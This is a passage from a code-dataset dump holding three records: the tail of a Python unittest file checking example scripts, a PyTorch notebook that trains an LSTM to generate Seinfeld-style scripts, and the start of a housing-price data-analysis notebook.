\"\"\"1\n2\n3\n4\n5\n6\n7\n8\n9\n\"\"\",\n            self.runpy('loops.for.py'))\n\n    def test_loops_while(self):\n        self.assertEqual(\n            \"\"\"1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n\"\"\",\n            self.runpy('loops.while.py'))\n\n    def test_modules_import(self):\n        self.assertEqual('', self.runpy('modules_import.py'))\n        import modules_import\n        self.assertEqual(modules_import.Random, modules_import.random.Random)\n\n    def test_modules_main(self):\n        self.assertEqual('', self.runpy('modules_main.py'))\n        import modules_main\n        self.assertEqual(None, modules_main.main())\n\n    def test_numpy_random(self):\n        self.assertEqual('', self.runpy('numpy_random.py'))\n\n        import numpy\n        numpy.random.seed(173)\n        import numpy_random\n\n        self.assertEqual(9, numpy_random.a.size)\n        self.assertEqual((3, 3), numpy_random.a.shape)\n        self.assertEqual(0.093257479552558031, numpy_random.a[0][0])\n        self.assertEqual(0.60640382464326914, numpy_random.a[1][1])\n        self.assertEqual(0.078458465901735885, numpy_random.a[2][2])\n\n    def test_par_task_nosync(self):\n        self.assertEqual('Hello, bob\\n', self.runpy('par.task.nosync.py'))\n\n    def test_par_task_pool(self):\n        self.assertEqual('', self.runpy('-c \"import par_task_pool; par_task_pool.do_work()\"'))\n\n    def test_par_task(self):\n        self.assertEqual('Hello, bob\\n', self.runpy('par.task.py'))\n\n    def test_ranges_inf(self):\n        self.assertEqual('', self.runpy('ranges_inf.py'))\n\n    def test_ranges(self):\n        self.assertEqual('', self.runpy('ranges.py'))\n        import ranges\n        self.assertEqual([1, 2, 3, 4, 5, 6, 7, 8, 9], list(ranges.r1))\n        self.assertEqual([], list(ranges.r2))\n\n    def test_ranges_short(self):\n        self.assertEqual('', self.runpy('ranges_short.py'))\n        import ranges_short\n        self.assertEqual([0, 1, 2, 3, 4, 5, 6, 7, 8, 9], list(ranges_short.ns))\n\n    def test_ranges_skip(self):\n        self.assertEqual('', self.runpy('ranges_skip.py'))\n        import ranges_skip\n        self.assertEqual([1, 2, 3, 4, 5, 6, 7, 8, 9], list(ranges_skip.r1))\n        self.assertEqual([1, 3, 5, 7, 9], list(ranges_skip.r2))\n        self.assertEqual([9, 8, 7, 6, 5, 4, 3, 2, 1], list(ranges_skip.r3))\n        self.assertEqual([9, 7, 5, 3, 1], list(ranges_skip.r4))\n\n    def test_tuples(self):\n        self.assertEqual(\n            \"\"\"coord = ('47.606165', '-122.332233')\nLatitude = 47.606165 , Longitude = -122.332233\nLatitude = 47.606165 , Longitude = -122.332233\n\"\"\",\n            self.runpy('tuples.py'))\n\n    def test_vars_decl(self):\n        self.assertEqual('', self.runpy('vars_decl.py'))\n        import vars_decl\n        self.assertEqual(42, vars_decl.answer)\n        self.assertEqual(123.45, vars_decl.distance)\n        self.assertEqual('Earth', vars_decl.computer)\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "c9a5d10c5fb8dd5f279079281a61b9ec71d57c85", "size": 11630, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/source/examples/test_all_python.py", "max_stars_repo_name": "lydia-duncan/chplforpyp-docs", "max_stars_repo_head_hexsha": "5952241c4f311adbd35527de805724597c0303df", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2016-09-18T17:15:50.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-26T12:25:20.000Z", "max_issues_repo_path": "docs/source/examples/test_all_python.py", "max_issues_repo_name": "lydia-duncan/chplforpyp-docs", "max_issues_repo_head_hexsha": "5952241c4f311adbd35527de805724597c0303df", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2016-04-14T22:59:12.000Z", "max_issues_repo_issues_event_max_datetime": "2019-10-28T15:25:30.000Z", "max_forks_repo_path": "docs/source/examples/test_all_python.py", "max_forks_repo_name": "lydia-duncan/chplforpyp-docs", "max_forks_repo_head_hexsha": "5952241c4f311adbd35527de805724597c0303df", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2016-04-14T22:39:08.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-18T01:12:38.000Z", "avg_line_length": 21.537037037, "max_line_length": 94, "alphanum_fraction": 0.5953568358, "include": true, "reason": "import numpy", "num_tokens": 4070, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014734858584286, "lm_q2_score": 0.1347759226358913, "lm_q1q2_score": 0.057973505775039326}}
{"text": "import helper\ndata_dir = './data/Seinfeld_Scripts.txt'\nfrom string import punctuation\nfrom collections import Counter\n\ndef create_lookup_tables(text):\n    \"\"\"\n    Create lookup tables for vocabulary\n    :param text: The text of tv scripts split into a list of words\n    :return: A tuple of dicts (vocab_to_int, int_to_vocab)\n    \"\"\"\n    print(\"Entering create_lookup_tables: input text:\", text[:20])\n\n    ##########\n    # remove all punctuation (handles input as a list of words, possibly with punctuation,\n    # including wrapping quotes (single or double))\n    #.....turns out don't need this section since punctuation will be removed prior to calling this func\n    \n    #words_only = ' '.join([c for c in text if c not in punctuation])\n    #words_only = ''.join([c for c in words_only if c not in punctuation]) #2nd pass to get embedded quotes\n    \n    ##########\n    # create a set of words, forcing the contents to be the unique words in all scripts\n    \n    unique_words = Counter()\n    unique_words.update(text)\n    #print(len(unique_words), \" unique words. Most common words:\\n\", unique_words.most_common(10))\n    \n    ##########\n    # create the dictionary of words to ints (0-based indexing) and its inverse\n    \n    vocab_to_int = {}\n    i = 0\n    for w, c in unique_words.most_common(len(unique_words)):\n        vocab_to_int[w] = i\n        #if i < 60:\n        #    print(w, \": \", vocab_to_int[w])\n        i += 1\n        \n    int_to_vocab = {}\n    #print()\n    for w in vocab_to_int:\n        index = vocab_to_int[w]\n        int_to_vocab[index] = w\n        #if index < 10:\n            #print(index, \": \", w)\n    \n    #print(\"vocab_to_int size = \", len(vocab_to_int), \", int_to_vocab size = \", len(int_to_vocab))\n    \n    # return tuple\n    return (vocab_to_int, int_to_vocab)\n\n\ndef token_lookup():\n    \"\"\"\n    Generate a dict to turn punctuation into a token.\n    :return: Tokenized dictionary where the key is the punctuation and the value is the token\n    \"\"\"\n    ##########\n    # need to manually assign everything\n    #print(punctuation)\n    d = {\n        '<': \"<LESSTHAN>\",    #these 2 need to be first since we use the to delimit everything. When punctuation\n        '>': \"<GREATERTHAN>\", #is substituted for these tokens the symbols will be done in this order.\n        '-': \"<HYPHEN>\",       #this needs to be next since it is used inside several others\n        '\\n': \"<RETURN>\",\n        '!': \"<EXCLAMATION>\",\n        '\"': \"<DOUBLE-QUOTE>\",\n        '#': \"<POUND>\",\n        '$': \"<DOLLAR>\",\n        '%': \"<PERCENT>\",\n        '&': \"<AMPERSAND>\",\n        \"'\": \"<SINGLE-QUOTE>\",\n        '(': \"<LEFT-PAREN>\",\n        ')': \"<RIGHT-PAREN>\",\n        '*': \"<STAR>\",\n        '+': \"<PLUS>\",\n        ',': \"<COMMA>\",\n        '.': \"<PERIOD>\",\n        '/': \"<SLASH>\",\n        ':': \"<COLON>\",\n        ';': \"<SEMICOLON>\",\n        '=': \"<EQUALS>\",\n        '?': \"<QUESTION>\",\n        '@': \"<AT>\",\n        '[': \"<LEFT-BRACKET>\",\n        '\\\\': \"<BACKSLASH>\",\n        ']': \"<RIGHT-BRACKET>\",\n        '^': \"<CARET>\",\n        '_': \"<UNDERSCORE>\",\n        '`': \"<TICK>\",\n        '{': \"<LEFT-BRACE>\",\n        '|': \"<PIPE>\",\n        '}': \"<RIGHT-BRACE>\",\n        '~': \"<TILDE>\",\n        '\\t': \"<TAB>\"\n    }\n    #print(d)\n        \n    return d\n\n\nimport os\nimport pickle\nimport torch\n\nSPECIAL_WORDS = {'PADDING': '<PAD>'}\n\n\n# # Check Point\n# This is your first checkpoint. If you ever decide to come back to this notebook or have to restart the notebook, you can start from here. The preprocessed data has been saved to disk.\n\nint_text, vocab_to_int, int_to_vocab, token_dict = helper.load_preprocess()\n\n\nimport torch\n\n# Check for a GPU\ntrain_on_gpu = torch.cuda.is_available()\nif not train_on_gpu:\n    print('No GPU found. Please use a GPU to train your neural network.')\n\n\n# ## Input\n# Let's start with the preprocessed input data. We'll use [TensorDataset](http://pytorch.org/docs/master/data.html#torch.utils.data.TensorDataset) to provide a known format to our dataset; in combination with [DataLoader](http://pytorch.org/docs/master/data.html#torch.utils.data.DataLoader), it will handle batching, shuffling, and other dataset iteration functions.\n# \n# You can create data with TensorDataset by passing in feature and target tensors. Then create a DataLoader as usual.\n# ```\n# data = TensorDataset(feature_tensors, target_tensors)\n# data_loader = torch.utils.data.DataLoader(data, \n#                                           batch_size=batch_size)\n# ```\n# \n# ### Batching\n# Implement the `batch_data` function to batch `words` data into chunks of size `batch_size` using the `TensorDataset` and `DataLoader` classes.\n# \n# >You can batch words using the DataLoader, but it will be up to you to create `feature_tensors` and `target_tensors` of the correct size and content for a given `sequence_length`.\n# \n# For example, say we have these as input:\n# ```\n# words = [1, 2, 3, 4, 5, 6, 7]\n# sequence_length = 4\n# ```\n# \n# Your first `feature_tensor` should contain the values:\n# ```\n# [1, 2, 3, 4]\n# ```\n# And the corresponding `target_tensor` should just be the next \"word\"/tokenized word value:\n# ```\n# 5\n# ```\n# This should continue with the second `feature_tensor`, `target_tensor` being:\n# ```\n# [2, 3, 4, 5]  # features\n# 6             # target\n# ```\n\n# In[9]:\n\n\nfrom torch.utils.data import TensorDataset, DataLoader\nimport numpy as np\n\n\ndef batch_data(words, sequence_length, batch_size):\n    \"\"\"\n    Batch the neural network data using DataLoader\n    :param words: The word ids of the TV scripts\n    :param sequence_length: The sequence length of each batch\n    :param batch_size: The size of each batch; the number of sequences in a batch\n    :return: DataLoader with batched data\n    \"\"\"\n    ##########\n    # iterate through all the words to construct features & targets based on sequence length\n    \n    total_words = len(words)\n    end = total_words - sequence_length - 1 #account for the target word at end\n    fl = []\n    tl = []\n    for i, w in enumerate(words):\n        #print(\"i = \", i, \", w =\", w, end=' ')\n        if i > end:\n            break\n        fl.append(words[i:i+sequence_length])\n        tl.append(words[i+sequence_length])\n        #print(\"fl = \", fl, \", tl = \", tl)\n        \n    features = torch.from_numpy(np.array(fl))\n    targets = torch.from_numpy(np.array(tl))\n    #print(\"features = \", features, \"\\ntargets = \", targets)\n    \n    ##########\n    # batch up the data\n    \n    data = TensorDataset(features, targets)\n    data_loader = torch.utils.data.DataLoader(data, batch_size=batch_size, shuffle=True)\n    return data_loader\n\n\n\n# ### Test your dataloader \n# \n# You'll have to modify this code to test a batching function, but it should look fairly similar.\n# \n# Below, we're generating some test text data and defining a dataloader using the function you defined, above. Then, we are getting some sample batch of inputs `sample_x` and targets `sample_y` from our dataloader.\n# \n# Your code should return something like the following (likely in a different order, if you shuffled your data):\n# \n# ```\n# torch.Size([10, 5])\n# tensor([[ 28,  29,  30,  31,  32],\n#         [ 21,  22,  23,  24,  25],\n#         [ 17,  18,  19,  20,  21],\n#         [ 34,  35,  36,  37,  38],\n#         [ 11,  12,  13,  14,  15],\n#         [ 23,  24,  25,  26,  27],\n#         [  6,   7,   8,   9,  10],\n#         [ 38,  39,  40,  41,  42],\n#         [ 25,  26,  27,  28,  29],\n#         [  7,   8,   9,  10,  11]])\n# \n# torch.Size([10])\n# tensor([ 33,  26,  22,  39,  16,  28,  11,  43,  30,  12])\n# ```\n# \n# ### Sizes\n# Your sample_x should be of size `(batch_size, sequence_length)` or (10, 5) in this case and sample_y should just have one dimension: batch_size (10). \n# \n# ### Values\n# \n# You should also notice that the targets, sample_y, are the *next* value in the ordered test_text data. So, for an input sequence `[ 28,  29,  30,  31,  32]` that ends with the value `32`, the corresponding output should be `33`.\n\n\n\n# ---\n# ## Build the Neural Network\n# Implement an RNN using PyTorch's [Module class](http://pytorch.org/docs/master/nn.html#torch.nn.Module). You may choose to use a GRU or an LSTM. To complete the RNN, you'll have to implement the following functions for the class:\n#  - `__init__` - The initialize function. \n#  - `init_hidden` - The initialization function for an LSTM/GRU hidden state\n#  - `forward` - Forward propagation function.\n#  \n# The initialize function should create the layers of the neural network and save them to the class. The forward propagation function will use these layers to run forward propagation and generate an output and a hidden state.\n# \n# **The output of this model should be the *last* batch of word scores** after a complete sequence has been processed. That is, for each input sequence of words, we only want to output the word scores for a single, most likely, next word.\n# \n# ### Hints\n# \n# 1. Make sure to stack the outputs of the lstm to pass to your fully-connected layer, you can do this with `lstm_output = lstm_output.contiguous().view(-1, self.hidden_dim)`\n# 2. You can get the last batch of word scores by shaping the output of the final, fully-connected layer like so:\n# \n# ```\n# # reshape into (batch_size, seq_length, output_size)\n# output = output.view(batch_size, -1, self.output_size)\n# # get last batch\n# out = output[:, -1]\n# ```\n\n# In[11]:\n\n\nimport torch.nn as nn\n\nclass RNN(nn.Module):\n    \n    def __init__(self, vocab_size, output_size, embedding_dim, hidden_dim, n_layers, dropout=0.5):\n        \"\"\"\n        Initialize the PyTorch RNN Module\n        :param vocab_size: The number of input dimensions of the neural network (the size of the vocabulary)\n        :param output_size: The number of output dimensions of the neural network\n        :param embedding_dim: The size of embeddings, should you choose to use them        \n        :param hidden_dim: The size of the hidden layer outputs\n        :param dropout: dropout to add in between LSTM/GRU layers\n        \"\"\"\n        super(RNN, self).__init__()\n        \n        self.vocab_size = vocab_size\n        self.output_size = output_size\n        self.embedding_dim = embedding_dim\n        self.hidden_dim = hidden_dim\n        self.n_layers = n_layers\n        self.dropout = dropout\n        \n        self.emb = nn.Embedding(vocab_size, embedding_dim)\n        self.lstm = nn.LSTM(embedding_dim, hidden_dim, n_layers, batch_first=True, dropout=dropout)\n        self.drop = nn.Dropout(dropout)\n        self.fc0 = nn.Linear(hidden_dim, output_size)\n    \n    \n    def forward(self, nn_input, hidden):\n        \"\"\"\n        Forward propagation of the neural network\n        :param nn_input: The input to the neural network\n        :param hidden: The hidden state        \n        :return: Two Tensors, the output of the neural network and the latest hidden state\n        \"\"\"\n        batch_size = nn_input.shape[0]\n\n        x = self.emb(nn_input)\n        x, hidden = self.lstm(x, hidden)\n        x = x.contiguous().view(-1, self.hidden_dim)\n        x = self.drop(x)\n        x = self.fc0(x) #no activation\n        #print(\"After fc: x.shape = \", x.shape)\n        \n        #reshape to have result as [batch_size, output]\n        x = x.view(batch_size, -1, self.output_size)\n        #print(\"After reshaping, x.shape = \", x.shape)\n        #print(\"x[0] = \", x[0])\n        rtn = x[:, -1]\n        #print(\"Returning rtn.shape = \", rtn.shape)\n        #print(\"x[0] = \", rtn[0])\n        \n        # return one batch of output words and the hidden state\n        return rtn, hidden\n    \n    \n    def init_hidden(self, batch_size):\n        '''\n        Initialize the hidden state of an LSTM/GRU\n        :param batch_size: The batch_size of the hidden state\n        :return: hidden state of dims (n_layers, batch_size, hidden_dim)\n        '''\n        weights = next(self.parameters()).data\n        \n        h = weights.new(self.n_layers, batch_size, self.hidden_dim).zero_()\n        c = weights.new(self.n_layers, batch_size, self.hidden_dim).zero_()\n        if train_on_gpu:\n            h = h.cuda()\n            c = c.cuda()\n            \n        hidden = (h, c)\n        \n        return hidden\n\n\n\n# ### Define forward and backpropagation\n# \n# Use the RNN class you implemented to apply forward and back propagation. This function will be called, iteratively, in the training loop as follows:\n# ```\n# loss = forward_back_prop(decoder, decoder_optimizer, criterion, inp, target)\n# ```\n# \n# And it should return the average loss over a batch and the hidden state returned by a call to `RNN(inp, hidden)`. Recall that you can get this loss by computing it, as usual, and calling `loss.item()`.\n# \n# **If a GPU is available, you should move your data to that GPU device, here.**\n\n# In[12]:\n\n\ndef forward_back_prop(rnn, optimizer, criterion, inp, target, hidden):\n    \"\"\"\n    Forward and backward propagation on the neural network\n    :param rnn: The PyTorch Module that holds the neural network\n    :param optimizer: The PyTorch optimizer for the neural network\n    :param criterion: The PyTorch loss function\n    :param inp: A batch of input to the neural network\n    :param target: The target output for the batch of input\n    :param hidden: The hidden state from previous iteration\n    :return: The loss and the latest hidden state Tensor\n    \"\"\"\n    CLIP_LIMIT = 5.0\n    \n    if train_on_gpu:\n        inp = inp.cuda()\n        target = target.cuda()\n    \n    ##########\n    # perform backpropagation and optimization\n    \n    #reset backprop data\n    hidden = tuple([i.data for i in hidden])\n    rnn.zero_grad()\n    \n    #run the rnn\n    output, hidden = rnn(inp, hidden)\n    #print(\"After running rnn: output = \", output.shape, \", hidden0 = \", hidden[0].shape, \", hidden1 = \", hidden[1].shape)\n    \n    #compute the loss\n    #print(\"target = \", target)\n    loss = criterion(output, target)\n    #print(\"loss = \", loss, \", loss.item = \", loss.item())\n    \n    #backprop with gradient clipping\n    loss.backward()\n    nn.utils.clip_grad_norm_(rnn.parameters(), CLIP_LIMIT)\n    optimizer.step()\n\n    # return the loss over a batch and the hidden state produced by our model\n    return loss.item(), hidden\n\n\n\n\n# ### Hyperparameters\n# \n# Set and train the neural network with the following parameters:\n# - Set `sequence_length` to the length of a sequence.\n# - Set `batch_size` to the batch size.\n# - Set `num_epochs` to the number of epochs to train for.\n# - Set `learning_rate` to the learning rate for an Adam optimizer.\n# - Set `vocab_size` to the number of uniqe tokens in our vocabulary.\n# - Set `output_size` to the desired size of the output.\n# - Set `embedding_dim` to the embedding dimension; smaller than the vocab_size.\n# - Set `hidden_dim` to the hidden dimension of your RNN.\n# - Set `n_layers` to the number of layers/cells in your RNN.\n# - Set `show_every_n_batches` to the number of batches at which the neural network should print progress.\n# \n# If the network isn't getting the desired results, tweak these parameters and/or the layers in the `RNN` class.\n\n\n# Data params\n# Sequence Length\nsequence_length = 50  # of words in a sequence; was 5; submitted with 20\n# Batch Size\nbatch_size = 256\n\n# data loader - do not change\ntrain_loader = batch_data(int_text, sequence_length, batch_size)\n\n\n# Training parameters\n# Number of Epochs\nnum_epochs = 10\n# Learning Rate\nlearning_rate = 0.001\n\n# Model parameters\n# Vocab size\nvocab_size = len(vocab_to_int)\nprint(\"vocab_size = \", vocab_size)\n# Output size\n#jas - I believe this needs to be equal to vocab_size so that each column of the output matrix represents\n#      one of the possible words, and a row of this matrix is essentially trying to immitate a one-hot vector.\n#      However, the forward() method only returns the final column of the output, which, if this is true, would\n#      represent the final word in the vocabulary. Therefore, this doesn't seem right, but it is at least\n#      avoiding runtime errors for now.\noutput_size = vocab_size #num words it will generate for each pass?\n# Embedding Dimension\nembedding_dim = 400\n# Hidden Dimension\nhidden_dim = 512\n# Number of RNN Layers\nn_layers = 3\n\n# Show stats for every n number of batches\nshow_every_n_batches = 1000\n\nprint(\"Torch version: \", torch.__version__)\nif train_on_gpu:\n    print(\"///// Using GPU!\")\nelse:\n    print(\"///// limited to using cpu\")\n\n\n\n'''\n# create model and move to gpu if available\nrnn = RNN(vocab_size, output_size, embedding_dim, hidden_dim, n_layers, dropout=0.5)\nif train_on_gpu:\n    rnn.cuda()\n\n# defining loss and optimization functions for training\noptimizer = torch.optim.Adam(rnn.parameters(), lr=learning_rate)\ncriterion = nn.CrossEntropyLoss()\n\n# training the model\n#with active_session():\ntrained_rnn = train_rnn(rnn, batch_size, optimizer, criterion, num_epochs, show_every_n_batches)\n\n# saving the trained model\nhelper.save_model('./save/trained_rnn', trained_rnn)\nprint('Model Trained and Saved')\n'''\n\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nimport torch\nimport helper\nimport problem_unittests as tests\n\n_, vocab_to_int, int_to_vocab, token_dict = helper.load_preprocess()\ntrained_rnn = helper.load_model('./save/trained_rnn')\n\n\n# ## Generate TV Script\n# With the network trained and saved, you'll use it to generate a new, \"fake\" Seinfeld TV script in this section.\n# \n# ### Generate Text\n# To generate the text, the network needs to start with a single word and repeat its predictions until it reaches a set length. You'll be using the `generate` function to do this. It takes a word id to start with, `prime_id`, and generates a set length of text, `predict_len`. Also note that it uses topk sampling to introduce some randomness in choosing the most likely next word, given an output set of word scores!\n\n\n\nimport torch.nn.functional as F\n\ndef generate(rnn, prime_ids, int_to_vocab, token_dict, pad_value, predict_len=100):\n    \"\"\"\n    Generate text using the neural network\n    :param rnn: The PyTorch Module that holds the trained neural network\n    :param prime_ids: The word ids to start the first prediction (a list)\n    :param int_to_vocab: Dict of word id keys to word values\n    :param token_dict: Dict of puncuation tokens keys to puncuation values\n    :param pad_value: The value used to pad a sequence\n    :param predict_len: The length of text to generate\n    :return: The generated text\n    \"\"\"\n    rnn.eval()\n    \n    # create a sequence (batch_size=1) with the prime_id\n    current_seq = np.full((1, sequence_length), pad_value)\n    #print(\"1. current_seq = \", current_seq)\n    num_primes = len(prime_ids)\n    #current_seq[-1][-num_primes] = prime_ids\n    seq_size = sequence_length\n    print(\"seq_size = \", seq_size, \", num_primes = \", num_primes)\n    for i in range(num_primes):\n        current_seq[-1][seq_size - num_primes + i] = prime_ids[i]\n    print(\"2. current_seq = \", current_seq)\n    #predicted = [int_to_vocab[prime_ids]]\n    predicted = []\n    for i in range(num_primes):\n        predicted.append(int_to_vocab[prime_ids[i]])\n    print(\"Predicted = \", predicted)\n    \n    for _ in range(predict_len):\n        if train_on_gpu:\n            current_seq = torch.LongTensor(current_seq).cuda()\n        else:\n            current_seq = torch.LongTensor(current_seq)\n        \n        # initialize the hidden state\n        hidden = rnn.init_hidden(current_seq.size(0))\n        \n        # get the output of the rnn\n        output, _ = rnn(current_seq, hidden)\n        \n        # get the next word probabilities\n        p = F.softmax(output, dim=1).data\n        if(train_on_gpu):\n            p = p.cpu() # move to cpu\n         \n        # use top_k sampling to get the index of the next word\n        top_k = 5\n        p, top_i = p.topk(top_k)\n        top_i = top_i.numpy().squeeze()\n        #print(\"\\nTop of loop.\")\n        #print(\"p     = \", p)\n        #print(\"top_i = \", top_i)\n        \n        # select the likely next word index with some element of randomness\n        p = p.numpy().squeeze()\n        word_i = np.random.choice(top_i, p=p/p.sum())\n        \n        # retrieve that word from the dictionary\n        word = int_to_vocab[word_i]\n        predicted.append(word)     \n        #print(\"word_i = \", word_i, \", word = \", word)\n        #print(\"New predicted = \", predicted)\n        \n        # the generated word becomes the next \"current sequence\" and the cycle can continue\n        current_seq = current_seq.cpu()\n        current_seq = np.roll(current_seq, -1, 1)\n        current_seq[-1][-1] = word_i\n    \n    gen_sentences = ' '.join(predicted)\n    \n    # Replace punctuation tokens\n    for key, token in token_dict.items():\n        ending = ' ' if key in ['\\n', '(', '\"'] else ''\n        gen_sentences = gen_sentences.replace(' ' + token.lower(), key)\n    gen_sentences = gen_sentences.replace('\\n ', '\\n')\n    gen_sentences = gen_sentences.replace('( ', '(')\n    \n    # return all the sentences\n    return gen_sentences\n\n\n# ### Generate a New Script\n# It's time to generate the text. Set `gen_length` to the length of TV script you want to generate and set `prime_word` to one of the following to start the prediction:\n# - \"jerry\"\n# - \"elaine\"\n# - \"george\"\n# - \"kramer\"\n# \n# You can set the prime word to _any word_ in our dictionary, but it's best to start with a name for generating a TV script. (You can also start with any other names you find in the original text file!)\n\n# run the cell multiple times to get different results!\ngen_length = 400 # modify the length to your preference\nprime_word = 'newman' # name for starting the script\nprime_words = ['jerry', 'hello', 'newman']\nprime_ints = []\nfor w in prime_words:\n    prime_ints.append(vocab_to_int[w])\nprint(\"Prime ints = \", prime_ints)\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\npad_word = helper.SPECIAL_WORDS['PADDING']\n#generated_script = generate(trained_rnn, vocab_to_int[prime_word], int_to_vocab, token_dict, vocab_to_int[pad_word], gen_length)\ngenerated_script = generate(trained_rnn, prime_ints, int_to_vocab, token_dict, vocab_to_int[pad_word], gen_length)\nprint(generated_script)\n\n\n# save script to a text file\nf =  open(\"generated_script_1.txt\",\"w\")\nf.write(generated_script)\nf.close()\n\n", "meta": {"hexsha": "2706c6e632a68b6ef7ce7d8fd081aae6b2ca391b", "size": 22096, "ext": "py", "lang": "Python", "max_stars_repo_path": "tv_script/inference.py", "max_stars_repo_name": "TonysCousin/Udacity", "max_stars_repo_head_hexsha": "cb64e3b306a20ca8dc7b2025b4cb63a04bc1b378", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tv_script/inference.py", "max_issues_repo_name": "TonysCousin/Udacity", "max_issues_repo_head_hexsha": "cb64e3b306a20ca8dc7b2025b4cb63a04bc1b378", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tv_script/inference.py", "max_forks_repo_name": "TonysCousin/Udacity", "max_forks_repo_head_hexsha": "cb64e3b306a20ca8dc7b2025b4cb63a04bc1b378", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.986970684, "max_line_length": 417, "alphanum_fraction": 0.6507060101, "include": true, "reason": "import numpy", "num_tokens": 5603, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.12252322533450248, "lm_q1q2_score": 0.05791470411786133}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport os \nimport tarfile\nimport urllib \n\nDOWNLOAD_ROOT = \"https://raw.githubusercontent.com/ageron/handson-ml2/master/\" \nHOUSING_PATH = os.path.join(\"datasets\", \"housing\")\nHOUSING_URL = DOWNLOAD_ROOT + \"datasets/housing/housing.tgz\" \n\ndef fetch_housing_data( housing_url = HOUSING_URL, housing_path = HOUSING_PATH): \n    os.makedirs(housing_path, exist_ok = True) \n    tgz_path = os.path.join(housing_path, \"housing.tgz\") \n    urllib.request.urlretrieve( housing_url, tgz_path) \n    housing_tgz = tarfile.open( tgz_path) \n    housing_tgz.extractall( path = housing_path) \n    housing_tgz.close()\n\n\n# In[2]:\n\n\nfetch_housing_data()\n\n\n# In[3]:\n\n\nimport pandas as pd \ndef load_housing_data( housing_path = HOUSING_PATH): \n    csv_path = os.path.join( housing_path, \"housing.csv\") \n    return pd.read_csv( csv_path)\n\n\n# In[4]:\n\n\nhousing = load_housing_data()\nhousing.head()\n\n\n# In[5]:\n\n\nhousing.info()\n\n\n# In[6]:\n\n\nhousing[\"ocean_proximity\"]. value_counts()\n\n\n# In[7]:\n\n\nhousing.describe()\n\n\n# In[8]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\nimport matplotlib.pyplot as plt \nhousing.hist( bins = 50, figsize =( 20,15)) \nplt.show()\n\n\n# In[9]:\n\n\nimport numpy as np \n\ndef split_train_test( data, test_ratio): \n    shuffled_indices = np.random.permutation( len( data)) \n    test_set_size = int( len( data) * test_ratio) \n    test_indices = shuffled_indices[:test_set_size] \n    train_indices = shuffled_indices[test_set_size:] \n    return data.iloc[train_indices], data.iloc[test_indices]\n\n\n# In[10]:\n\n\ntrain_set, test_set = split_train_test(housing, 0.2)\n\n\n# In[11]:\n\n\nlen(train_set)\n\n\n# In[12]:\n\n\nlen(test_set)\n\n\n# In[13]:\n\n\nfrom zlib import crc32 \ndef test_set_check( identifier, test_ratio): \n    return crc32( np.int64( identifier)) & 0xffffffff < test_ratio * 2** 32 \n\ndef split_train_test_by_id( data, test_ratio, id_column): \n    ids = data[id_column] \n    in_test_set = ids.apply( lambda id_: test_set_check( id_, test_ratio)) \n    return data.loc[~in_test_set], data.loc[ in_test_set]\n\n\n# In[14]:\n\n\n# Unfortunately, the housing dataset does not have an identifier column. \n# The simplest solution is to use the row index as the ID: \n\nhousing_with_id = housing.reset_index() # adds an ` index ` column\ntrain_set, test_set = split_train_test_by_id( housing_with_id, 0.2, \"index\")\n\n\n# In[15]:\n\n\n#\n#\n#\n\nhousing[\"income_cat\"] = pd.cut(housing[\"median_income\"], \n                                bins =[ 0., 1.5, 3.0, 4.5, 6., np.inf], \n                                labels =[ 1, 2, 3, 4, 5])\nhousing[\"income_cat\"].hist()\n\n\n# In[16]:\n\n\n# Now you are ready to do stratified sampling based on the income category. \n# For this you can use Scikit-Learn\u2019s StratifiedShuffleSplit class:\n\nfrom sklearn.model_selection import StratifiedShuffleSplit \n\nsplit = StratifiedShuffleSplit(n_splits = 1, test_size = 0.2, random_state = 42) \nfor train_index, test_index in split.split(housing, housing[\"income_cat\"]): \n    strat_train_set = housing.loc[train_index] \n    strat_test_set = housing.loc[test_index]\n\n\n# In[17]:\n\n\n# Let\u2019s see if this worked as expected. \n# You can start by looking at the income category proportions in the test set: \n\nstrat_test_set[\"income_cat\"].value_counts() / len(strat_test_set)\n\n\n# In[18]:\n\n\n# Picture 2.10 .... no idea how it was created\n\n\n# In[19]:\n\n\n# Now you should remove the income_cat attribute so the data is back to its original state: \n\nfor set_ in (strat_train_set, strat_test_set): \n    set_.drop(\"income_cat\", axis = 1, inplace = True)\n\n\n# In[20]:\n\n\n# make a copy to protect original data\nhousing = strat_train_set.copy()\n\n\n# ## Visualizing Geographical Data \n# Since there is geographical information (latitude and longitude), \n# it is a good idea to create a scatterplot of all districts to visualize the data (Figure \u00a0 2-11): \n\n# In[21]:\n\n\nhousing.plot(kind = \"scatter\", x = \"longitude\", y = \"latitude\")\n\n\n# In[22]:\n\n\nhousing.plot(kind = \"scatter\", x = \"longitude\", y = \"latitude\", alpha = 0.1)\n\n\n# In[23]:\n\n\n# Now let\u2019s look at the housing prices (Figure \u00a0 2-13). \n# The radius of each circle represents the district\u2019s population (option s), \n# and the color represents the price (option c). Wewill use a predefined color map (option cmap) called jet, which ranges \n# from blue (low values) to red (high prices): 16 \n\nhousing.plot(kind =\"scatter\", x = 